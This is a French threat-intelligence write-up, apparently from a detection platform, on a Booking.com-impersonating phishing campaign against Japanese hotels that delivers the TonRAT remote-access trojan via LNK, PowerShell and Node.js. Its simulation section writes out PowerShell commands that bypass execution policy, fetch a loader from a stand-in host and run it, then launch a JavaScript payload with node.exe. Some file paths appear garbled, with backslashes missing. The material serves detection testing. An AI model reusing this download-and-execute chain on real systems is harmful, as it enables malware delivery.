Analyse des E-mails Suspects Ciblant l’Industrie Hôtelière
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une campagne de phishing se faisant passer pour Booking.com a ciblé des opérateurs d’hôtel au Japon via une infrastructure hébergée sur Calendly et SendGrid. L’email comprenait un lien raccourci qui menait à une archive ZIP contenant un raccourci LNK malveillant, qui lançait ensuite un chargeur basé sur PowerShell. Ce chargeur récupérait des scripts PowerShell supplémentaires, décryptait une charge utile JavaScript identifiée comme TonRAT, téléchargeait Node.js et exécutait le RAT. Le malware établissait ensuite une commande et un contrôle via un point de terminaison WebSocket obtenu via l’API TON.
Enquête
Le rapport décrit l’analyse du header de l’email, l’abus de services de livraison légitimes, et la chaîne d’exécution multi-étapes utilisée dans l’attaque. Il fournit les hachages de fichiers pour l’archive ZIP et ses composants internes et liste les domaines de commande et de contrôle observés lors de l’analyse. L’enquête inclut également des détails techniques sur le fichier LNK malveillant et les commandes PowerShell utilisées pour progresser dans l’infection.
Atténuation
Les défenseurs devraient bloquer les liens raccourcis suspectés sur Calendly, vérifier soigneusement les domaines des expéditeurs, et restreindre l’exécution des pièces jointes LNK livrées par email. La surveillance devrait également se concentrer sur les activités PowerShell non autorisées et l’apparition inattendue de binaires Node.js sur les endpoints. Le filtrage des URL peut aider à bloquer l’accès aux domaines malveillants connus impliqués dans la campagne.
Réponse
Les équipes de sécurité devraient créer des détections pour les commandes PowerShell qui téléchargent du contenu depuis les domaines de commande et de contrôle identifiés et pour l’exécution de node.exe depuis des emplacements inhabituels. Des alertes devraient également être configurées pour les flux d’email utilisant des headers SendGrid provenant de sources non fiables ou inattendues. Les enquêteurs devraient collecter les fichiers déposés et préserver le trafic réseau associé aux communications WebSocket observées.
"graph TB %% Définitions de classe classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Nœuds action_phishing["<b>Action</b> – <b>T1566.002 Hameçonnage ciblé par lien</b><br/>Un email de phishing contenant un lien Calendly malveillant est envoyé à la victime."] class action_phishing action action_user_click["<b>Action</b> – <b>T1204.001 Exécution de l’utilisateur : Lien malveillant</b><br/>La victime clique sur le lien Calendly malveillant, ce qui amène le navigateur à télécharger une archive ZIP."] class action_user_click action action_download_zip["<b>Action</b> – Télécharger ZIP<br/>L’archive ZIP contient un raccourci (.lnk) et un fichier MP4 factice."] class action_download_zip action action_open_shortcut["<b>Action</b> – <b>T1547.009 Modification de raccourci</b><br/>La victime ouvre le raccourci .lnk, qui exécute une commande PowerShell."] class action_open_shortcut action tool_powershell["<b>Outil</b> – PowerShell<br/><b>But</b>: Exécute des commandes et télécharge des charges utiles supplémentaires."] class tool_powershell tool action_download_script["<b>Action</b> – <b>T1105 Transfert d’outil entrant</b><br/>PowerShell télécharge un script supplémentaire depuis un serveur distant."] class action_download_script action action_download_js["<b>Action</b> – <b>T1027.009 Charges utiles intégrées</b><br/>PowerShell télécharge également une charge utile JavaScript chiffrée."] class action_download_js action action_download_node["<b>Action</b> – Télécharger l’environnement Node.js<br/>L’environnement Node.js est téléchargé et utilisé pour lancer l’étape suivante. "] class action_download_node process malware_tonrat["<b>Malware</b> – TonRAT<br/>Cheval de Troie d’accès à distance basé sur JavaScript exécuté via Node.js."] class malware_tonrat malware action_dynamic_resolution["<b>Action</b> – <b>T1568 Résolution dynamique</b><br/>TonRAT interroge l’API TON pour résoudre les domaines de commande et de contrôle à l’exécution."] class action_dynamic_resolution action action_c2["<b>Action</b> – <b>T1071.001 Protocole de couche application : Protocoles Web</b><br/>Établit un canal WebSocket pour les communications C2."] class action_c2 action %% Connexions action_phishing –>|conduit à| action_user_click action_user_click –>|déclenche| action_download_zip action_download_zip –>|contient| action_open_shortcut action_open_shortcut –>|exécute| tool_powershell tool_powershell –>|utilise| action_download_script tool_powershell –>|utilise| action_download_js action_download_script –>|fournit| action_download_node action_download_js –>|fournit| action_download_node action_download_node –>|lance| malware_tonrat malware_tonrat –>|effectue| action_dynamic_resolution action_dynamic_resolution –>|active| action_c2 "
Flux d’attaque
Détections
Commande et contrôle suspect par requête DNS de domaine de niveau supérieur inhabituel (via dns)
Voir
Fichier LNK potentiellement malveillant avec double extension (via cmdline)
Voir
Possibilité d’exécution via des lignes de commande PowerShell cachées (via cmdline)
Voir
PowerShell exécutant un fichier dans un répertoire suspect en utilisant la politique d’exécution de contournement (via cmdline)
Voir
Indicateurs possibles d’obfuscation PowerShell (via powershell)
Voir
IOC (SourceIP) à détecter : Analyse d’emails suspects ciblant l’industrie hôtelière (Partie 1 : Aperçu de la campagne)
Voir
IOC (DestinationIP) à détecter : Analyse d’emails suspects ciblant l’industrie hôtelière (Partie 1 : Aperçu de la campagne)
Voir
Détection d’emails de phishing se faisant passer pour Booking.com via Calendly [Email]
Voir
Détecter le déploiement de TonRAT via PowerShell et l’environnement Node.js [Windows PowerShell]
Voir
Exécution de simulation
Prérequis : La vérification préalable de télémétrie et de base doit avoir été réussie.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiées et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narrative & Commandes d’attaque :
-
Accès initial – Téléchargement de PowerShell
L’attaquant obtient une session distante PowerShell sur l’hôte compromis et utiliseInvoke-WebRequestpour récupérer le script chargeur TonRAT depuis un serveur C2 malveillant. Cette étape satisfait laInvoke-WebRequestcorrespondance de chaîne.powershell -NoProfile -ExecutionPolicy Bypass -Command ^ "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1" -
Exécution du chargeur
Le script téléchargé est exécuté, ce qui engendre un deuxième processus PowerShell pour exécuter des commandes supplémentaires (contenant toujours le littéral “PowerShell”).powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1 -
Exécution de la charge utile Node.js
TonRAT dépose un fichier JavaScript malveillant (malicious.js) et le lance avec l’environnement Node.js (node.exe). Cela génère lanode.execorrespondance de chaîne.# Supposons que le script ait déjà placé malicious.js dans C:Temp C:Program Filesnodejsnode.exe C:Tempmalicious.js
Les trois créations de processus (PowerShell avec
Invoke-WebRequest, PowerShell exécutant le chargeur, etnode.exe) satisfont collectivement la condition de la règle de détection. -
-
Script de test de régression :
#------------------------------------------------- # Simulation de déploiement TonRAT – déclenche la règle Sigma #------------------------------------------------- $tempDir = "$env:TEMPtonrat_demo" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null # 1. Télécharger un chargeur factice (simulé avec un simple echo) $loaderUrl = "http://malicious.example.com/tonrat.ps1" $loaderPath = "$tempDirtonrat.ps1" Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing # 2. Exécuter le chargeur (le chargeur crée juste un fichier js factice) powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath # 3. Créer une charge utile JavaScript factice $jsPath = "C:Tempmalicious.js" Set-Content -Path $jsPath -Value "console.log('Charge utile malveillante exécutée');" # 4. Exécuter la charge utile avec Node.js $nodePath = "C:Program Filesnodejsnode.exe" & $nodePath $jsPath #------------------------------------------------- -
Commandes de nettoyage :
# Supprimer tous les artefacts créés par la simulation Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force Remove-Item -Path "C:Tempmalicious.js" -Force # Optionnellement, tuer tout processus PowerShell/Node persistant (si nécessaire) Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force